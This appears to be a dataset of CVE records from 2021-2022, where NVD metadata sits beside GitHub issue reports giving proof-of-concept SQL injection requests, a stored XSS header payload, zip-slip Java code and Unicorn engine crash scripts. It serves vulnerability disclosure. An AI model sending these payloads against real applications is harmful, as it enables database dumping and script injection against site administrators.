User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.
Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist
b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery(); | Vulnerability/BUG - SQL Injection on login page. | https://api.github.com/repos/projectworldsofficial/hospital-management-system-in-php/issues/1/comments | 0 | 2021-09-27T17:15:07Z | 2021-09-30T08:40:39Z | https://github.com/projectworldsofficial/hospital-management-system-in-php/issues/1 | 1,008,397,209 | 1 | 3,694 |
CVE-2021-44096 | 2022-06-02T14:15:31.417 | EGavilan Media User-Registration-and-Login-System-With-Admin-Panel 1.0 is vulnerable to SQL Injection via profile_action - update_user. This allows a remote attacker to compromise Application SQL database. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel/issues/2"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://medium.com/%40shubhamvpandey/cve-2021-44096-c8874ee47656"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://medium.com/%40shubhamvpandey/cve-2021-44096-c8874ee47656"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:egavilanmedia:user_registration_and_login_system_with_admin_panel:1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "4E4236EE-3F31-4395-9CD5-D00F52F6B3C2",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel/issues/2 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"EGavilan-Media",
"User-Registration-and-Login-System-With-Admin-Panel"
] | Hi
I found a SQL injection vulnerability User-Registration-and-Login-System-With-Admin-Panel
-------------------------------------------------------------------------------------------------------------------------------------------
`POST /User-Registration-and-Login-System-With-Admin-Panel-master/profile_action.php HTTP/1.1`
`Host: 192.168.1.3`
`User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0`
`Accept: application/json, text/javascript, */*; q=0.01`
`Accept-Language: en-US,en;q=0.5`
`Accept-Encoding: gzip, deflate`
`Content-Type: application/x-www-form-urlencoded; charset=UTF-8`
`X-Requested-With: XMLHttpRequest`
`Content-Length: 82`
`Origin: http://192.168.1.3`
`Connection: close`
`Referer: http://192.168.1.3/User-Registration-and-Login-System-With-Admin-Panel-master/profile.php`
`Cookie: PHPSESSID=54cet827kpno5c9g9i9grjq84h`
`fullname=test2'%2b(select*from(select(sleep(20)))a)%2b'&username=test1&email=test%40test.com&gender=Male&action=update_user`
Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.
-------------------------------------------------------------------------------------------------------------------------------------------
Control -
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.
Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist
b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery();
| Vulnerability/BUG - SQL Injection on "profile_action - update_user" | https://api.github.com/repos/EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel/issues/2/comments | 0 | 2021-09-28T18:02:52Z | 2021-09-28T18:02:52Z | https://github.com/EGavilan-Media/User-Registration-and-Login-System-With-Admin-Panel/issues/2 | 1,010,051,805 | 2 | 3,695 |
CVE-2021-44097 | 2022-06-02T14:15:31.463 | EGavilan Media Contact-Form-With-Messages-Entry-Management 1.0 is vulnerable to SQL Injection via Addmessage.php. This allows a remote attacker to compromise Application SQL database. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/EGavilan-Media/Contact-Form-With-Messages-Entry-Management/issues/1"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://medium.com/%40shubhamvpandey/cve-2021-44097-d51c11258571"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/EGavilan-Media/Contact-Form-With-Messages-Entry-Management/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://medium.com/%40shubhamvpandey/cve-2021-44097-d51c11258571"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:contact-form-with-messages-entry-management_project:contact-form-with-messages-entry-management:1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "5BFF1B53-31E9-4C67-A580-81F6043449B6",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/EGavilan-Media/Contact-Form-With-Messages-Entry-Management/issues/1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"EGavilan-Media",
"Contact-Form-With-Messages-Entry-Management"
] | Hi
I found a SQL injection vulnerability in your Contact-Form-With-Messages-Entry-Management
-------------------------------------------------------------------------------------------------------------------------------------------------
`POST /Contact-Form-With-Messages-Entry-Management-master/process/contacts/addMessage.php HTTP/1.1`
`Host: 192.168.1.6`
`User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0`
`Accept: */*`
`Accept-Language: en-US,en;q=0.5`
`Accept-Encoding: gzip, deflate`
`Content-Type: application/x-www-form-urlencoded; charset=UTF-8`
`X-Requested-With: XMLHttpRequest`
`Content-Length: 139`
`Origin: http://192.168.1.6`
`Connection: close`
`Referer: http://192.168.1.6/Contact-Form-With-Messages-Entry-Management-master/view/contact.php`
`Cookie: PHPSESSID=8jp0c36flam1krptku4bq9hvf5`
`firstname=test'%2b(select*from(select(sleep(20)))a)%2b'&lastname=test&email=sdsada%40gmail.com&phone=123123131&subject=test&message=rtesdas`
Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.
--------------------------------------------------------------------------------------------------------------------------------------------
Control -
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.
Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist
b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery(); | Vulnerability/BUG - SQL Injection while addMessage | https://api.github.com/repos/EGavilan-Media/Contact-Form-With-Messages-Entry-Management/issues/1/comments | 0 | 2021-09-30T08:45:03Z | 2021-09-30T08:46:28Z | https://github.com/EGavilan-Media/Contact-Form-With-Messages-Entry-Management/issues/1 | 1,011,893,999 | 1 | 3,696 |
CVE-2021-44098 | 2022-06-02T14:15:31.510 | EGavilan Media Expense-Management-System 1.0 is vulnerable to SQL Injection via /expense_action.php. This allows a remote attacker to compromise Application SQL database. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/EGavilan-Media/Expense-Management-System/issues/1"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://medium.com/%40shubhamvpandey/cve-2021-44098-8dbaced8b854"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/EGavilan-Media/Expense-Management-System/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://medium.com/%40shubhamvpandey/cve-2021-44098-8dbaced8b854"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:egavilanmedia:expense_management_system:1.0:*:*:*:*:*:*:*",
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"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/EGavilan-Media/Expense-Management-System/issues/1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"EGavilan-Media",
"Expense-Management-System"
] | Hi
I found a SQL injection vulnerability in your Expense-Management-System
------------------------------------------------------------------------------------------------------------------------------------------------
`POST //Expense-Management-System-master/expense_action.php HTTP/1.1`
`Host: 192.168.1.6`
`User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0`
`Accept: application/json, text/javascript, */*; q=0.01`
`Accept-Language: en-US,en;q=0.5`
`Accept-Encoding: gzip, deflate`
`Content-Type: application/x-www-form-urlencoded; charset=UTF-8`
`X-Requested-With: XMLHttpRequest`
`Content-Length: 113`
`Origin: http://192.168.1.6`
`Connection: close`
`Referer: http://192.168.1.6//Expense-Management-System-master/`
`Cookie: PHPSESSID=8jp0c36flam1krptku4bq9hvf5`
`description=seafood'%2b(select*from(select(sleep(20)))a)%2b'&amount=3.21&date=2019-08-02&expense_id=2&action=Edit`
Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.
---------------------------------------------------------------------------------------------------------------------------------------------
Control -
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.
Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist
b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery(); | Vulnerability/BUG - SQL Injection while updating details. | https://api.github.com/repos/EGavilan-Media/Expense-Management-System/issues/1/comments | 0 | 2021-09-30T09:22:03Z | 2021-09-30T09:22:03Z | https://github.com/EGavilan-Media/Expense-Management-System/issues/1 | 1,011,936,141 | 1 | 3,697 |
CVE-2022-28945 | 2022-06-02T14:15:46.253 | An issue in Webbank WeCube v3.2.2 allows attackers to execute a directory traversal via a crafted ZIP file. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "http://webbank.com"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "http://wecube.com"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/WeBankPartners/wecube-platform/issues/2324"
},
{
"source": "cve@mitre.org",
"tags": [
"Release Notes",
"Third Party Advisory"
],
"url": "https://github.com/WeBankPartners/wecube-platform/releases/tag/v3.2.2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "http://webbank.com"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "http://wecube.com"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/WeBankPartners/wecube-platform/issues/2324"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes",
"Third Party Advisory"
],
"url": "https://github.com/WeBankPartners/wecube-platform/releases/tag/v3.2.2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:webbank:webcube:3.2.2:*:*:*:*:*:*:*",
"matchCriteriaId": "539B7742-B453-4E4B-84E7-ED8F495C0DF5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"22"
] | 22 | https://github.com/WeBankPartners/wecube-platform/issues/2324 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"WeBankPartners",
"wecube-platform"
] | 解压文件时未对 ../ 进行校验
Demo：
`packagecom.sp.test;
importorg.apache.commons.fileupload.FileItem;
importorg.apache.commons.fileupload.FileItemFactory;
importorg.apache.commons.fileupload.disk.DiskFileItemFactory;
importorg.apache.commons.io.FileUtils;
importorg.springframework.web.multipart.MultipartFile;
import
org.springframework.web.multipart.commons.CommonsMultipartFile;
importorg.xml.sax.SAXException;
importjava.io.*;
importjava.text.SimpleDateFormat;
importjava.util.Date;
importjava.util.Enumeration;
importjava.util.zip.ZipEntry;
importjava.util.zip.ZipFile;
publicclassDemo{
publicstaticvoidmain(String[]args){
MultipartFilefile=fileToMultipartFile(new
File("D:\\project\\os\\ne1111w.zip"));
uploadPackage(file);
}
publicstaticUploadPackageResultDtouploadPackage(MultipartFile
pluginPackageFile){
//1.savepackagefiletolocal
StringtmpFileName=new
SimpleDateFormat("yyyyMMddHHmmssSSS").format(newDate());
FilelocalFilePath=newFile(SystemUtils.getTempFolderPath()
+tmpFileName+"/");
try{
UploadPackageResultDtoresult=
performUploadPackage(pluginPackageFile,localFilePath);
returnresult;
}finally{
if(localFilePath!=null&&localFilePath.exists()){
FileUtils.deleteQuietly(localFilePath);
}
}
}
publicstaticbooleanvalidateUploadFilename(Stringfilename){
if(filename.contains("\\")||filename.contains("/")){
returnfalse;
}
returntrue;
}
publicstaticUploadPackageResultDto
performUploadPackage(MultipartFilepluginPackageFile,File
localFilePath){
StringpluginPackageFileName=pluginPackageFile.getName();
if(!validateUploadFilename(pluginPackageFileName)){
thrownewRuntimeException();
}
if(!localFilePath.exists()){
if(localFilePath.mkdirs()){
//log.info("Createdirectory[{}]successful",
localFilePath.getAbsolutePath());
}else{
StringerrMsg=String.format("Createdirectory[%s]
failed.",localFilePath.getAbsolutePath());
thrownewRuntimeException("3099");
}
}
//TODO
Filedest=newFile(localFilePath,"/"+
pluginPackageFileName);
try{
//log.info("newfilelocation:{},filename:{},
canonicalpath:{},canonicalfilename:{}",
//dest.getAbsoluteFile(),dest.getName(),
dest.getCanonicalPath(),dest.getCanonicalFile().getName());
pluginPackageFile.transferTo(dest);
}catch(IOExceptione){
//log.error("errorstotransferuploadedfiles.",e);
thrownewRuntimeException("Failedtouploadpackage,dueto
"+e.getMessage());
}
UploadPackageResultDtoresult=null;
try{
result=parsePackageFile(dest,localFilePath);
//log.info("Packageuploadedsuccessfully.");
}catch(Exceptione){
//log.error("Errorstoparseuploadedpackagefile.",e);
thrownewRuntimeException("Failedtouploadpackagedueto
"+e.getMessage());
}
returnresult;
}
publicstaticUploadPackageResultDtoparsePackageFile(Filedest,
FilelocalFilePath)throwsIOException,SAXException{
//2.unziplocalpackagefile
unzipLocalFile(dest.getCanonicalPath(),
localFilePath.getCanonicalPath()+"/");
returnnull;
}
publicstaticvoidunzipLocalFile(StringsourceZipFile,String
destFilePath)throwsIOException{
try(ZipFilezipFile=newZipFile(sourceZipFile)){
Enumerationentries=zipFile.entries();
while(entries.hasMoreElements()){
ZipEntryentry=(ZipEntry)entries.nextElement();
StringzipEntryName=entry.getName();
//if(entry.isDirectory()
||!ACCEPTED_FILES.contains(zipEntryName)){
//continue;
//}
if(entry.isDirectory()){
FiledirFile=newFile(destFilePath,zipEntryName);
if(!dirFile.exists()){
booleanmkDirRet=dirFile.mkdirs();
if(mkDirRet){
//log.info("Createnewtemporaryfile:{}",
destFilePath+zipEntryName);
}else{
//log.info("Failedtocreatenewtemporary
file:{}",destFilePath+zipEntryName);
}
}
continue;
}
if(newFile(destFilePath+
zipEntryName).createNewFile()){
//log.info("Createnewtemporaryfile:{}",
destFilePath+zipEntryName);
}
try(BufferedInputStreaminputStream=new
BufferedInputStream(zipFile.getInputStream(entry));
OutputStreamoutputStream=new
FileOutputStream(destFilePath+zipEntryName,true)){
byte[]buf=newbyte[2048];
intlen;
while((len=inputStream.read(buf))>0){
outputStream.write(buf,0,len);
}
}catch(Exceptione){
//log.error("Readinputstreammeeterror:",e);
}
}
}
//log.info("Zipfilehasunzipped!");
}
publicstaticclassSystemUtils{
privatestaticStringTEMP_FOLDER_PATH=null;
publicstaticStringgetTempFolderPath(){
if(TEMP_FOLDER_PATH==null){
TEMP_FOLDER_PATH=
System.getProperty("java.io.tmpdir");
if(!TEMP_FOLDER_PATH.endsWith("/")
&&!TEMP_FOLDER_PATH.endsWith("\\")){
TEMP_FOLDER_PATH=TEMP_FOLDER_PATH+"/";
}
}
returnTEMP_FOLDER_PATH;
}
}
publicclassUploadPackageResultDto{
privateStringid;
privateStringname;
privateStringversion;
privateStringstatus;
privateStringuploadTimestamp;
privateBooleanuiPackageIncluded;
privateStringedition;
publicStringgetId(){
returnid;
}
publicvoidsetId(Stringid){
this.id=id;
}
publicStringgetName(){
returnname;
}
publicvoidsetName(Stringname){
this.name=name;
}
publicStringgetVersion(){
returnversion;
}
publicvoidsetVersion(Stringversion){
this.version=version;
}
publicStringgetStatus(){
returnstatus;
}
publicvoidsetStatus(Stringstatus){
this.status=status;
}
publicStringgetUploadTimestamp(){
returnuploadTimestamp;
}
publicvoidsetUploadTimestamp(StringuploadTimestamp){
this.uploadTimestamp=uploadTimestamp;
}
publicBooleangetUiPackageIncluded(){
returnuiPackageIncluded;
}
publicvoidsetUiPackageIncluded(BooleanuiPackageIncluded){
this.uiPackageIncluded=uiPackageIncluded;
}
publicStringgetEdition(){
returnedition;
}
publicvoidsetEdition(Stringedition){
this.edition=edition;
}
}
publicstaticMultipartFilefileToMultipartFile(Filefile){
FileItemfileItem=createFileItem(file);
MultipartFilemultipartFile=new
CommonsMultipartFile(fileItem);
returnmultipartFile;
}
privatestaticFileItemcreateFileItem(Filefile){
FileItemFactoryfactory=newDiskFileItemFactory(16,null);
FileItemitem=factory.createItem("textField","text/plain",
true,file.getName());
intbytesRead=0;
byte[]buffer=newbyte[8192];
try{
FileInputStreamfis=newFileInputStream(file);
OutputStreamos=item.getOutputStream();
while((bytesRead=fis.read(buffer,0,8192))!=-1){
os.write(buffer,0,bytesRead);
}
os.close();
fis.close();
}catch(IOExceptione){
e.printStackTrace();
}
returnitem;
}
}`
| zip-slip | https://api.github.com/repos/WeBankPartners/wecube-platform/issues/2324/comments | 0 | 2022-05-30T07:34:35Z | 2022-05-30T07:36:15Z | https://github.com/WeBankPartners/wecube-platform/issues/2324 | 1,252,319,755 | 2,324 | 3,698 |
CVE-2022-29648 | 2022-06-02T14:15:50.000 | A cross-site scripting (XSS) vulnerability in Jfinal CMS v5.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted X-Forwarded-For request. | {
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"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
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"79"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jflyfox",
"jfinal_cms"
] | There is a storage XSS vulnerability in the guest TOP10 of jfinal_cms. TOP10 will display the ip of the user, but it can be modified by X-Forwarded-For, where the attacker can insert malicious XSS code. When the administrator logs in, the malicious XSS code triggers successfully.
payload: X-Forwarded-For: 192.168.1.1</li><script>alert ("xss")</script>
In the background login interface, enter the account password randomly, fill in the correct verification code, and then submit and grab the package.
The contents of the grab bag are as follows:
Add an X-Forwarded-For here and enter paylaod (192.168.1.1</li><script>alert ("xss")</script>)
Then log in with the background administrator account to trigger the storage XSS.
Safety advice:
Strictly filter the user's input
Strict control of page rendering content | There is an xss vulnerability of HTTP header injection storage in jfinal_cms V5.1.0 | https://api.github.com/repos/jflyfox/jfinal_cms/issues/34/comments | 0 | 2022-04-14T02:59:27Z | 2022-04-15T01:12:18Z | https://github.com/jflyfox/jfinal_cms/issues/34 | 1,203,980,157 | 34 | 3,699 |
CVE-2022-29692 | 2022-06-02T14:15:50.467 | Unicorn Engine v1.0.3 was discovered to contain a use-after-free vulnerability via the hook function. | {
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"type": "Primary"
}
],
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"Exploit",
"Issue Tracking",
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] | github.com | [
"unicorn-engine",
"unicorn"
] | Hello, :)
Unicorn-1.0.3 Python API
- Add `emu_start` to the hook function (uc_hook_mem_read_unmapped)
- Releasing the hook function will cause the null pointer dereference.
PoC is as follows
```python
def disasm(cont, addr):
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(cont, addr):
print("0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))
def read(name):
with open(name, "rb") as fp:
return fp.read()
def hook_unmapped(uc, access, address, size, value, user_data):
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
print(os.getpid())
#time.sleep(10)
######### poc #########
uc.emu_start(address + size, 0x400582)
######### poc #########
insn_skip_list = [0x4004ef, 0x4004f6, 0x400502, 0x40054f, 0x400560]
def hook_code(mu, address, size, user_data):
disasm(mu.mem_read(address, size), address)
def main():
uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(0x400000, 1024 * 1024) # binary
uc.mem_map(0x100000, 1024 * 1024) # stack
uc.mem_write(0x400000, read("./fibonacci"))
uc.reg_write(UC_X86_REG_RSP, 0x100000 + 1024 * 1024 - 1)
uc.hook_add(UC_HOOK_CODE, hook_code)
uc.hook_add(UC_HOOK_MEM_READ_UNMAPPED, hook_unmapped)
#uc.hook_add(UC_ERR_FETCH_UNMAPPED, unicorn_hook_add)
try:
uc.emu_start(0x4004E0, 0x400582)
except UcError as e:
print(e)
if __name__ == "__main__":
main()
```
segmentation fault
```shell
└─$ python3 poc.py
0x4004e0: push rbp
0x4004e1: push rbx
0x4004e2: xor esi, esi
0x4004e4: mov ebp, 0x4007e1
0x4004e9: xor ebx, ebx
0x4004eb: sub rsp, 0x18
0x4004ef: mov rdi, qword ptr [rip + 0x200b42]
>>> Tracing instruction at 0x601038, instruction size = 0x8
17303
zsh: segmentation fault python3 poc.py
```
gdb debug
```shell
gef➤ bt
#0 0x0000000000000000 in ?? ()
#1 0x00000000013fdd38 in ?? ()
#2 0x00007f9e1eac5269 in clear_deleted_hooks (uc=0x13fd620) at /home/lys/Documents/unicorn-1.0.3/uc.c:567
#3 uc_emu_start (uc=0x13fd620, begin=<optimized out>, until=<optimized out>, timeout=0x0, count=<optimized out>) at /home/lys/Documents/unicorn-1.0.3/uc.c:673
#4 0x00007f9e1fa12ccd in ?? () from /lib/x86_64-linux-gnu/libffi.so.7
#5 0x00007f9e1fa1225a in ?? () from /lib/x86_64-linux-gnu/libffi.so.7
#6 0x00000000004f8209 in _PyObject_GenericSetAttrWithDict ()
#7 0x00000000004f7d8a in PyObject_SetAttr ()
#8 0x0000000000505fa5 in _PyEval_EvalFrameDefault ()
#9 0x000000000050f9c0 in _PyObject_FastCallDict ()
#10 0x0000000000526a61 in ?? ()
#11 0x00007f9e1fa1202c in ?? () from /lib/x86_64-linux-gnu/libffi.so.7
#12 0x00007f9e1fa1225a in ?? () from /lib/x86_64-linux-gnu/libffi.so.7
#13 0x00007f9e1fb9960a in _ctypes_callproc () from /usr/lib/python3.8/lib-dynload/_ctypes.cpython-38-x86_64-linux-gnu.so
#14 0x00000000008c3bc0 in ?? ()
#15 0x00007f9e1fa8ed70 in ?? ()
#16 0x00007f9e1fb027c0 in ?? ()
#17 0x00007f9e1fa9b680 in ?? ()
#18 0x0000000000000000 in ?? ()
``` | Null pointer caused by UAF in unicorn-1.0.3 | https://api.github.com/repos/unicorn-engine/unicorn/issues/1578/comments | 6 | 2022-04-01T09:53:58Z | 2022-12-07T12:04:43Z | https://github.com/unicorn-engine/unicorn/issues/1578 | 1,189,543,314 | 1,578 | 3,700 |
CVE-2022-29693 | 2022-06-02T14:15:50.513 | Unicorn Engine v2.0.0-rc7 and below was discovered to contain a memory leak via the function uc_close at /my/unicorn/uc.c. | {
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"baseScore": 5,
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"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
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"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"source": "nvd@nist.gov",
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}
],
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"401"
] | 401 | https://github.com/unicorn-engine/unicorn/issues/1586 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"unicorn-engine",
"unicorn"
] | Hi :)
When we used unexpected architecture such as `0`, there was a memory leak in unicorn2.
PoC
```c
int main(int argc, char **argv) {
uc_engine *uc;
uc_err err;
